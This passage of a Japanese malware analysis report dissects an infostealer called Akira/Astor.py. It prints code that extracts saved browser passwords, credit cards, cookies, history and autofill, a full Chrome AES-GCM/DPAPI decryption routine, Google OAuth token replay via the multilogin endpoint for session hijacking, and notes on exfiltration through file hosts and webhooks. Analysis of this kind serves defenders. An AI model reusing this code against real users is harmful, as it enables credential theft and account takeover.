フォルダー配下にあるすべての ",[578,6486,584],{}," SQLiteデータベースを ",[567,6489,6490],{},"特定"," します。",[634,6493,6494,6495,6491],{},"ブラウザーのロックを避けるため一時ファイルに ",[567,6496,6497],{},"コピー",[634,6499,6500,1002,6503,2115],{},[567,6501,6502],{},"SQLクエリ",[578,6504,6505],{},"SELECT origin_url, username_value, password_value FROM logins",[634,6507,6508,6509,6512,6513,6516,6517,6520,6521,6491],{},"各 ",[578,6510,6511],{},"password_value"," ブロブを、AES-GCM（",[578,6514,6515],{},"v10","／",[578,6518,6519],{},"v11","）またはWindows DPAPIのフォールバックで ",[567,6522,6523],{},"復号",[634,6525,6526,6527,6530,6531,6534],{},"出力を ",[578,6528,6529],{},"Passwords/\u003CBrowserName> Passwords.txt"," に ",[567,6532,6533],{},"書き込み"," ます。",[889,6536,6538,6539,4433],{"id":6537},"_743-クレジットカードダンパー-chromiumgetcreditcards","7.4.3 クレジットカードダンパー (",[578,6540,6541],{},"Chromium.GetCreditCards",[526,6543,895],{},[526,6545,6546],{},"ここでスティーラーは、各ブラウザープロファイルのWeb Dataファイルから保存されたクレジットカード情報にアクセスします。有効期限の詳細と暗号化されたカード番号の抽出に重点を置き、パスワードと同じロジックで復号します。CVVコードは通常保存されていませんが、復元された情報はカード非提示（card-not-present）詐欺に悪用されるおそれがあります。",[616,6548,6550],{"className":4512,"code":6549,"language":4514,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[578,6551,6552,6557,6562,6567,6572,6577],{"__ignoreMap":530},[1707,6553,6554],{"class":1709,"line":1710},[1707,6555,6556],{},"results = cursor.execute(\n",[1707,6558,6559],{"class":1709,"line":531},[1707,6560,6561],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1707,6563,6564],{"class":1709,"line":2090},[1707,6565,6566],{},").fetchall()\n",[1707,6568,6569],{"class":1709,"line":2096},[1707,6570,6571],{},"for month, year, enc_cc in results:\n",[1707,6573,6574],{"class":1709,"line":2419},[1707,6575,6576],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1707,6578,6579],{"class":1709,"line":2425},[1707,6580,6581],{},"    ccs.append((cc_number, month, year))\n",[631,6583,6584,6594,6601,6609],{},[634,6585,6586,6587,6589,6590,6593],{},"各プロファイル配下の ",[578,6588,588],{}," SQLiteストアを ",[567,6591,6592],{},"標的"," にします。",[634,6595,6596,1002,6598,2115],{},[567,6597,6502],{},[578,6599,6600],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[634,6602,6603,6606,6607,6491],{},[578,6604,6605],{},"card_number_encrypted"," を、パスワードブロブとまったく同じ要領で ",[567,6608,6523],{},[634,6610,6611,6530,6614,6491],{},[578,6612,6613],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[567,6615,6616],{},"出力",[889,6618,6620,6621,4433],{"id":6619},"_744-cookieダンパー-chromiumgetcookies","7.4.4 Cookieダンパー (",[578,6622,6623],{},"Chromium.GetCookies",[526,6625,895],{},[526,6627,6628],{},"Cookie、特にセッションCookieは、パスワードなしのアカウント乗っ取りにおける格好の標的です。このモジュールはプロファイルをまたいですべてのCookieファイルをダンプし、復号したうえで、ドメイン、名前、有効期限といった重要なメタデータを収集します。フィンガープリンティングと組み合わせれば、これらのCookieは認証済みサービスに対するシームレスなリプレイ攻撃を可能にします。",[616,6630,6632],{"className":4512,"code":6631,"language":4514,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[578,6633,6634,6638,6643,6647,6652,6657],{"__ignoreMap":530},[1707,6635,6636],{"class":1709,"line":1710},[1707,6637,6556],{},[1707,6639,6640],{"class":1709,"line":531},[1707,6641,6642],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1707,6644,6645],{"class":1709,"line":2090},[1707,6646,6566],{},[1707,6648,6649],{"class":1709,"line":2096},[1707,6650,6651],{},"for host, name, path, blob, expiry in results:\n",[1707,6653,6654],{"class":1709,"line":2419},[1707,6655,6656],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1707,6658,6659],{"class":1709,"line":2425},[1707,6660,6661],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[631,6663,6664,6672,6681,6690],{},[634,6665,6666,6667,6487,6669,6491],{},"すべての ",[578,6668,6345],{},[567,6670,6671],{},"走査",[634,6673,6674,6677,6678,6491],{},[578,6675,6676],{},"host_key, name, path, encrypted_value, expires_utc"," を ",[567,6679,6680],{},"選択",[634,6682,6508,6683,6686,6687,6689],{},[578,6684,6685],{},"encrypted_value"," ブロブを ",[567,6688,6523],{}," し、実際のCookie文字列を露わにします。",[634,6691,6692,6530,6695,6491],{},[578,6693,6694],{},"Cookies/\u003CBrowserName> Cookies.txt",[567,6696,6697],{},"保存",[889,6699,6701,6702,4433],{"id":6700},"_745-googleセッションダンパー-chromiumdump_google_sessions","7.4.5 Googleセッションダンパー (",[578,6703,6704],{},"Chromium.dump_google_sessions",[526,6706,895],{},[526,6708,6709],{},"より高度なコンポーネントの1つであるこのルーチンは、token_serviceテーブルから保存されたOAuthトークンを復号します。それらをGoogleのmultiloginエンドポイント経由でリプレイすることで、マルウェアは有効なセッションCookieを再生成でき、攻撃者は認証情報なしにGoogleアカウントを乗っ取れます。これは、現代のスティーラーにおいてアクセストークンが格好の標的になっていることを物語っています。",[616,6711,6713],{"className":4512,"code":6712,"language":4514,"meta":530,"style":530},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[578,6714,6715,6720,6725,6730,6735,6740,6745,6750,6755,6760,6765,6770,6774],{"__ignoreMap":530},[1707,6716,6717],{"class":1709,"line":1710},[1707,6718,6719],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1707,6721,6722],{"class":1709,"line":531},[1707,6723,6724],{},"for service, blob in cursor.fetchall():\n",[1707,6726,6727],{"class":1709,"line":2090},[1707,6728,6729],{},"    iv = blob[3:15]\n",[1707,6731,6732],{"class":1709,"line":2096},[1707,6733,6734],{},"    ciphertext = blob[15:-16]\n",[1707,6736,6737],{"class":1709,"line":2419},[1707,6738,6739],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1707,6741,6742],{"class":1709,"line":2425},[1707,6743,6744],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1707,6746,6747],{"class":1709,"line":3077},[1707,6748,6749],{},"    # Replays via POST to OAuth endpoint\n",[1707,6751,6752],{"class":1709,"line":3872},[1707,6753,6754],{},"    response = requests.post(\n",[1707,6756,6757],{"class":1709,"line":3878},[1707,6758,6759],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1707,6761,6762],{"class":1709,"line":4125},[1707,6763,6764],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1707,6766,6767],{"class":1709,"line":5046},[1707,6768,6769],{},"        data={\"source\": \"com.google.Drive\"}\n",[1707,6771,6772],{"class":1709,"line":5052},[1707,6773,5976],{},[1707,6775,6776],{"class":1709,"line":5058},[1707,6777,6778],{},"    save each account’s cookies to file\n",[631,6780,6781,6796,6805,6816],{},[634,6782,6783,6785,6786,6789,6790,6677,6793,6491],{},[578,6784,588],{}," のクローンから ",[578,6787,6788],{},"service"," と生の ",[578,6791,6792],{},"encrypted_token",[567,6794,6795],{},"取得",[634,6797,6480,6798,6801,6802,6491],{},[578,6799,6800],{},"Local State"," キーを使って ",[567,6803,6804],{},"AES-GCM復号",[634,6806,6807,6808,6811,6812,6815],{},"復号したトークンをGoogleの ",[578,6809,6810],{},"multilogin"," APIへのPOSTで ",[567,6813,6814],{},"リプレイ"," し、有効なOAuth Cookieを再構築します。",[634,6817,6818,6819,6530,6822,6534],{},"アカウントごとのセッションファイルを ",[578,6820,6821],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[567,6823,6533],{},[889,6825,6827,6828,4433],{"id":6826},"_746-履歴ダンパー-chromiumgethistory","7.4.6 履歴ダンパー (",[578,6829,6830],{},"Chromium.GetHistory",[526,6832,895],{},[526,6834,6835],{},"この関数は、URL、タイトル、訪問頻度を含む閲覧履歴エントリを抽出します。プライバシー侵害にとどまらず、このデータは攻撃者が被害者の行動を把握し、価値の高い標的（銀行ポータルなど）を特定し、あるいはソーシャルエンジニアリングのペイロードを仕立てるのに役立ちます。",[616,6837,6839],{"className":4512,"code":6838,"language":4514,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[578,6840,6841,6845,6850,6854,6859],{"__ignoreMap":530},[1707,6842,6843],{"class":1709,"line":1710},[1707,6844,6556],{},[1707,6846,6847],{"class":1709,"line":531},[1707,6848,6849],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1707,6851,6852],{"class":1709,"line":2090},[1707,6853,6566],{},[1707,6855,6856],{"class":1709,"line":2096},[1707,6857,6858],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1707,6860,6861],{"class":1709,"line":2419},[1707,6862,6863],{},"return [(url, title, count) for url, title, count, _ in history]\n",[631,6865,6866,6876,6886],{},[634,6867,6666,6868,6870,6871,6677,6874,6491],{},[578,6869,6393],{}," DBから ",[578,6872,6873],{},"url, title, visit_count, last_visit_time",[567,6875,6680],{},[634,6877,6878,6879,6882,6883,6534],{},"エントリを ",[578,6880,6881],{},"last_visit_time"," の降順で ",[567,6884,6885],{},"並べ替え",[634,6887,6888,6530,6891,6491],{},[578,6889,6890],{},"History/\u003CBrowserName> History.txt",[567,6892,6616],{},[889,6894,6896,6897,4433],{"id":6895},"_747-自動入力ダンパー-chromiumgetautofills","7.4.7 自動入力ダンパー (",[578,6898,6899],{},"Chromium.GetAutofills",[526,6901,895],{},[526,6903,6904],{},"住所、氏名、メールアドレス、時には決済関連データといった自動入力エントリが、ブラウザーのWeb Dataストレージから抜き取られます。これらの値は一見重要でなさそうに見えますが、集約すると被害者の身元と行動に関する豊かなプロファイルを与えてしまいます。",[616,6906,6908],{"className":4512,"code":6907,"language":4514,"meta":530,"style":530},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[578,6909,6910,6914,6919,6923,6928],{"__ignoreMap":530},[1707,6911,6912],{"class":1709,"line":1710},[1707,6913,6556],{},[1707,6915,6916],{"class":1709,"line":531},[1707,6917,6918],{},"    \"SELECT name, value FROM autofill\"\n",[1707,6920,6921],{"class":1709,"line":2090},[1707,6922,6566],{},[1707,6924,6925],{"class":1709,"line":2096},[1707,6926,6927],{},"for field, value in results:\n",[1707,6929,6930],{"class":1709,"line":2419},[1707,6931,6932],{},"    autofills.append((field.strip(), value.strip()))\n",[631,6934,6935,6946],{},[634,6936,6937,6940,6941,6677,6944,6491],{},[578,6938,6939],{},"web data"," ファイルからフォーム入力エントリ ",[578,6942,6943],{},"name, value",[567,6945,6795],{},[634,6947,6948,6951,6952,6534],{},[578,6949,6950],{},"Autofill/\u003CBrowserName> Autofill.txt"," として ",[567,6953,6954],{},"書き出し",[889,6956,6958,6959,585,6961,4433],{"id":6957},"_748-firefoxプロファイルグラバー-geckodriver-と-grabfirefoxprofiles","7.4.8 Firefoxプロファイルグラバー (",[578,6960,6265],{},[578,6962,6963],{},"grabFirefoxProfiles",[526,6965,895],{},[526,6967,6968],{},"きめ細かなChromiumのルーチンとは異なり、この関数は大づかみなアプローチを取ります。保存されたログイン、Cookie、ブックマークを含むFirefoxプロファイルディレクトリ全体を圧縮し、まるごと窃取します。これにより攻撃者は、既知のNSSツールで復号のハードルを回避しつつ、データをオフラインで解析・抽出できます。",[616,6970,6972],{"className":4512,"code":6971,"language":4514,"meta":530,"style":530},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[578,6973,6974,6979,6984,6989],{"__ignoreMap":530},[1707,6975,6976],{"class":1709,"line":1710},[1707,6977,6978],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1707,6980,6981],{"class":1709,"line":531},[1707,6982,6983],{},"    for root, dirs, files in os.walk(source_path):\n",[1707,6985,6986],{"class":1709,"line":2090},[1707,6987,6988],{},"        zipf.write(each file)\n",[1707,6990,6991],{"class":1709,"line":2096},[1707,6992,6993],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[631,6995,6996,7005,7015],{},[634,6997,6998,7001,7002,6491],{},[578,6999,7000],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles"," ディレクトリ全体を ",[567,7003,7004],{},"ZIP化",[634,7006,7007,7008,585,7011,7014],{},"それを ",[578,7009,7010],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip",[567,7012,7013],{},"名付け","、同じWebhookチャネル経由でダウンロードリンクを送ります。",[634,7016,7017,7020,7021,647,7024,647,7027,7030],{},[567,7018,7019],{},"さらに","、すでに備わっているNSS復号ルーチンを使い、各Firefoxプロファイルに対して同じSQLiteベースの抽出関数（",[578,7022,7023],{},"logins.json",[578,7025,7026],{},"cookies.sqlite",[578,7028,7029],{},"places.sqlite","）を呼び出します。",[889,7032,7034],{"id":7033},"_749-抽出のまとめ","7.4.9 抽出のまとめ",[526,7036,895],{},[526,7038,7039,7040,647,7042,647,7044,647,7046,647,7048,7051,7052,7055,7056,7058,7059,647,7061,647,7063,7065,7066,7069],{},"Astor.pyは、ChromiumベースとFirefoxのクライアントをまたいで、あらゆる認証情報とセッションの成果物を体系的に収集することで、包括的なブラウザー侵害を統括します。各SQLiteストア（",[578,7041,584],{},[578,7043,588],{},[578,7045,6345],{},[578,7047,6393],{},[578,7049,7050],{},"autofill","）を特定して安全にコピーし、標的を絞ったSQLクエリを実行して、URL、ユーザー名、パスワード、クレジットカードの詳細、Cookie、閲覧履歴、フォーム入力エントリを抽出します。パスワードと決済データはAES-GCM（またはWindows DPAPIのフォールバック）で復号され、Cookieも同様に展開されて平文の値が露わになります。Googleアカウントについては、",[578,7053,7054],{},"token_service"," の暗号化されたOAuthトークンが復号され、",[578,7057,6810],{}," APIに対してリプレイされてライブのセッションCookieが再生成されます。最後に、Firefoxプロファイルは（",[578,7060,7023],{},[578,7062,7026],{},[578,7064,7029],{}," を含めて）まるごとアーカイブされ、ZIPとして送り出されるため、成果物が一切残りません。このエンドツーエンドのパイプラインは ",[578,7067,7068],{},"%TEMP%\\\u003CComputerName>"," の下で静かに動作し、データのカテゴリーごとに整然と整理された出力ファイルを生成します。",[741,7071,7073],{"id":7072},"_75-復号のロジック","7.5 復号のロジック",[526,7075,747],{},[526,7077,7078],{},"ChromeやEdgeといった現代のブラウザーは、パスワード、Cookie、クレジットカードの詳細といった機微なデータをローカルに保存する前に暗号化します。Akiraには、Chromiumの旧来と現行の双方の暗号化方式を扱えるよう作られた復号ルーチンが組み込まれています。これにより、システムのパッチレベルやブラウザーのバージョンにかかわらず、平文のデータを抽出できます。",[526,7080,7081],{},"この処理の核心は、Local Stateというファイルに保存されたブラウザーのマスター暗号鍵の抽出と復号です。ブラウザーのバージョンとWindowsのビルドに応じて、Akiraは適切な復号方式を動的に選択します。",[526,7083,7084],{},"DPAPI（Data Protection API）は、Chromeが現在のユーザーのWindows資格情報で保護した秘密を保存する旧来のシステムで使われます。",[526,7086,7087],{},"AES-GCMは、ランダムに生成されたマスター鍵自体がDPAPIで暗号化され、それがアプリ内でのユーザーデータ暗号化に使われる現行のChromiumビルドで使われます。",[526,7089,7090],{},"まずLocal Stateのマスター鍵を復号することで、Akiraはブラウザーのあらゆる秘密を解錠する能力を得ます。これが、認証情報、トークン、Cookieなどの抽出への道を開きます。",[526,7092,7093],{},[567,7094,7095],{},"鍵の抽出",[616,7097,7099],{"className":4512,"code":7098,"language":4514,"meta":530,"style":530},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[578,7100,7101,7106,7111,7116],{"__ignoreMap":530},[1707,7102,7103],{"class":1709,"line":1710},[1707,7104,7105],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1707,7107,7108],{"class":1709,"line":531},[1707,7109,7110],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1707,7112,7113],{"class":1709,"line":2090},[1707,7114,7115],{},"    local_state = json.load(f)\n",[1707,7117,7118],{"class":1709,"line":2096},[1707,7119,7120],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[526,7122,7123],{},[567,7124,7125],{},"復号（AES-GCM）:",[616,7127,7129],{"className":4512,"code":7128,"language":4514,"meta":530,"style":530},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[578,7130,7131,7136,7141,7146,7151],{"__ignoreMap":530},[1707,7132,7133],{"class":1709,"line":1710},[1707,7134,7135],{},"nonce = value[3:15]\n",[1707,7137,7138],{"class":1709,"line":531},[1707,7139,7140],{},"ciphertext = value[15:-16]\n",[1707,7142,7143],{"class":1709,"line":2090},[1707,7144,7145],{},"tag = value[-16:]\n",[1707,7147,7148],{"class":1709,"line":2096},[1707,7149,7150],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1707,7152,7153],{"class":1709,"line":2419},[1707,7154,7155],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[526,7157,7158,7159,7162],{},"（旧来のシステムで）DPAPIへのフォールバックが必要な場合は、",[578,7160,7161],{},"win32crypt.CryptUnprotectData()"," を使います。",[526,7164,7165,7171],{},[567,7166,7167,7170],{},[578,7168,7169],{},"decrypt_password_blob"," の説明:","\nこの関数は、Akira StealerがChromiumベースのブラウザーから保存された各パスワード値をどう復号するかを示しています。次の2つのケースを扱います。",[2104,7173,7174,7184],{},[634,7175,7176,7179,7180,7183],{},[567,7177,7178],{},"Windows DPAPIブロブ","（旧来の、またはGCMで暗号化されていないデータ）: システムコール ",[578,7181,7182],{},"CryptUnprotectData"," にフォールバックします。これはユーザーのWindows資格情報を使って復号します。",[634,7185,7186,7189,7190,7193],{},[567,7187,7188],{},"AES-GCMで暗号化されたブロブ","（Chrome v10／v11形式）: バージョンヘッダーを解析し、IVと認証タグを取り出し、",[578,7191,7192],{},"cryptography"," ライブラリを使ってペイロードを安全に復号します。",[616,7195,7197],{"className":4512,"code":7196,"language":4514,"meta":530,"style":530},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[578,7198,7199,7204,7209,7213,7217,7222,7226,7231,7235,7240,7245,7250,7254,7259,7264,7268,7273,7278,7283,7288,7292,7297,7302,7307,7312,7317,7322,7327,7332,7337,7341,7346,7351,7356,7361,7366,7370,7375,7379,7384,7389,7393,7398],{"__ignoreMap":530},[1707,7200,7201],{"class":1709,"line":1710},[1707,7202,7203],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1707,7205,7206],{"class":1709,"line":531},[1707,7207,7208],{},"from cryptography.hazmat.backends import default_backend\n",[1707,7210,7211],{"class":1709,"line":2090},[1707,7212,3869],{"emptyLinePlaceholder":325},[1707,7214,7215],{"class":1709,"line":2096},[1707,7216,3869],{"emptyLinePlaceholder":325},[1707,7218,7219],{"class":1709,"line":2419},[1707,7220,7221],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1707,7223,7224],{"class":1709,"line":2425},[1707,7225,5850],{},[1707,7227,7228],{"class":1709,"line":3077},[1707,7229,7230],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1707,7232,7233],{"class":1709,"line":3872},[1707,7234,3869],{"emptyLinePlaceholder":325},[1707,7236,7237],{"class":1709,"line":3878},[1707,7238,7239],{},"    Parameters:\n",[1707,7241,7242],{"class":1709,"line":4125},[1707,7243,7244],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1707,7246,7247],{"class":1709,"line":5046},[1707,7248,7249],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1707,7251,7252],{"class":1709,"line":5052},[1707,7253,3869],{"emptyLinePlaceholder":325},[1707,7255,7256],{"class":1709,"line":5058},[1707,7257,7258],{},"    Returns:\n",[1707,7260,7261],{"class":1709,"line":5064},[1707,7262,7263],{},"    - Decrypted UTF-8 plaintext password\n",[1707,7265,7266],{"class":1709,"line":5070},[1707,7267,5850],{},[1707,7269,7270],{"class":1709,"line":5076},[1707,7271,7272],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1707,7274,7275],{"class":1709,"line":5082},[1707,7276,7277],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1707,7279,7280],{"class":1709,"line":5088},[1707,7281,7282],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1707,7284,7285],{"class":1709,"line":5094},[1707,7286,7287],{},"        return CryptUnprotectData(buffer)\n",[1707,7289,7290],{"class":1709,"line":5100},[1707,7291,3869],{"emptyLinePlaceholder":325},[1707,7293,7294],{"class":1709,"line":5106},[1707,7295,7296],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1707,7298,7299],{"class":1709,"line":5112},[1707,7300,7301],{},"    # Bytes layout:\n",[1707,7303,7304],{"class":1709,"line":5118},[1707,7305,7306],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1707,7308,7309],{"class":1709,"line":5124},[1707,7310,7311],{},"    # [3:15]   = initialization vector (IV)\n",[1707,7313,7314],{"class":1709,"line":5130},[1707,7315,7316],{},"    # [15:-16] = ciphertext payload\n",[1707,7318,7319],{"class":1709,"line":5796},[1707,7320,7321],{},"    # [-16:]   = GCM authentication tag\n",[1707,7323,7324],{"class":1709,"line":5801},[1707,7325,7326],{},"    iv = buffer[3:15]\n",[1707,7328,7329],{"class":1709,"line":5806},[1707,7330,7331],{},"    ciphertext = buffer[15:-16]\n",[1707,7333,7334],{"class":1709,"line":5811},[1707,7335,7336],{},"    tag = buffer[-16:]\n",[1707,7338,7339],{"class":1709,"line":5817},[1707,7340,3869],{"emptyLinePlaceholder":325},[1707,7342,7343],{"class":1709,"line":5822},[1707,7344,7345],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1707,7347,7348],{"class":1709,"line":5827},[1707,7349,7350],{},"    cipher = Cipher(\n",[1707,7352,7353],{"class":1709,"line":5832},[1707,7354,7355],{},"        algorithms.AES(key),\n",[1707,7357,7358],{"class":1709,"line":5837},[1707,7359,7360],{},"        modes.GCM(iv, tag),\n",[1707,7362,7363],{"class":1709,"line":5842},[1707,7364,7365],{},"        backend=default_backend()\n",[1707,7367,7368],{"class":1709,"line":5847},[1707,7369,5976],{},[1707,7371,7372],{"class":1709,"line":5853},[1707,7373,7374],{},"    decryptor = cipher.decryptor()\n",[1707,7376,7377],{"class":1709,"line":5859},[1707,7378,3869],{"emptyLinePlaceholder":325},[1707,7380,7381],{"class":1709,"line":5865},[1707,7382,7383],{},"    # Perform decryption; raises if authentication fails\n",[1707,7385,7386],{"class":1709,"line":5870},[1707,7387,7388],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1707,7390,7391],{"class":1709,"line":5875},[1707,7392,3869],{"emptyLinePlaceholder":325},[1707,7394,7395],{"class":1709,"line":5880},[1707,7396,7397],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1707,7399,7400],{"class":1709,"line":5885},[1707,7401,7402],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[741,7404,7406],{"id":7405},"_76-セッショントークンの乗っ取り","7.6 セッショントークンの乗っ取り",[526,7408,747],{},[526,7410,7411,7412,7415],{},"Akiraは受動的なデータ収集にとどまらず、ライブのセッショントークンを能動的に乗っ取り、被害者になりすましてリアルタイムに行動します。ブラウザーのストレージから暗号化されたトークンを抽出した後、必要な認可ヘッダーを再構築し、GoogleのOAuthエンドポイントに対して ",[567,7413,7414],{},"MultiLogin"," リクエストをリプレイします。以下のコード断片はこの処理を示しています。",[616,7417,7419],{"className":4512,"code":7418,"language":4514,"meta":530,"style":530},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[578,7420,7421,7426,7431,7436,7441,7446,7451,7456,7461,7466,7470,7475,7480,7485,7490,7495,7499,7504,7509],{"__ignoreMap":530},[1707,7422,7423],{"class":1709,"line":1710},[1707,7424,7425],{},"# Build SAPISIDHASH header for Google services\n",[1707,7427,7428],{"class":1709,"line":531},[1707,7429,7430],{},"origin = \"https://accounts.google.com\"\n",[1707,7432,7433],{"class":1709,"line":2090},[1707,7434,7435],{},"timestamp = int(time.time())\n",[1707,7437,7438],{"class":1709,"line":2096},[1707,7439,7440],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1707,7442,7443],{"class":1709,"line":2419},[1707,7444,7445],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1707,7447,7448],{"class":1709,"line":2425},[1707,7449,7450],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1707,7452,7453],{"class":1709,"line":3077},[1707,7454,7455],{},"headers = {\n",[1707,7457,7458],{"class":1709,"line":3872},[1707,7459,7460],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1707,7462,7463],{"class":1709,"line":3878},[1707,7464,7465],{},"    \"Content-Type\": \"application/json\"\n",[1707,7467,7468],{"class":1709,"line":4125},[1707,7469,2428],{},[1707,7471,7472],{"class":1709,"line":5046},[1707,7473,7474],{},"# Replay MultiLogin to fetch valid session cookies\n",[1707,7476,7477],{"class":1709,"line":5052},[1707,7478,7479],{},"response = requests.post(\n",[1707,7481,7482],{"class":1709,"line":5058},[1707,7483,7484],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1707,7486,7487],{"class":1709,"line":5064},[1707,7488,7489],{},"    headers=headers,\n",[1707,7491,7492],{"class":1709,"line":5070},[1707,7493,7494],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1707,7496,7497],{"class":1709,"line":5076},[1707,7498,5264],{},[1707,7500,7501],{"class":1709,"line":5082},[1707,7502,7503],{},"if response.status_code == 200:\n",[1707,7505,7506],{"class":1709,"line":5088},[1707,7507,7508],{},"    # Victim’s cookies now present in response.cookies\n",[1707,7510,7511],{"class":1709,"line":5094},[1707,7512,7513],{},"    hijacked_cookies = response.cookies\n",[526,7515,7516],{},"このリクエストをリプレイすることで、Akiraは有効なセッションで保護されたユーザーのGmail、Drive、その他あらゆるGoogleサービスになりすませます。認証情報は不要です。この手法はGoogle自身のトークン受理ロジックを利用するため、正規のクライアントの振る舞いとほとんど見分けがつきません。",[741,7518,7520],{"id":7519},"_77-firefoxの復号","7.7 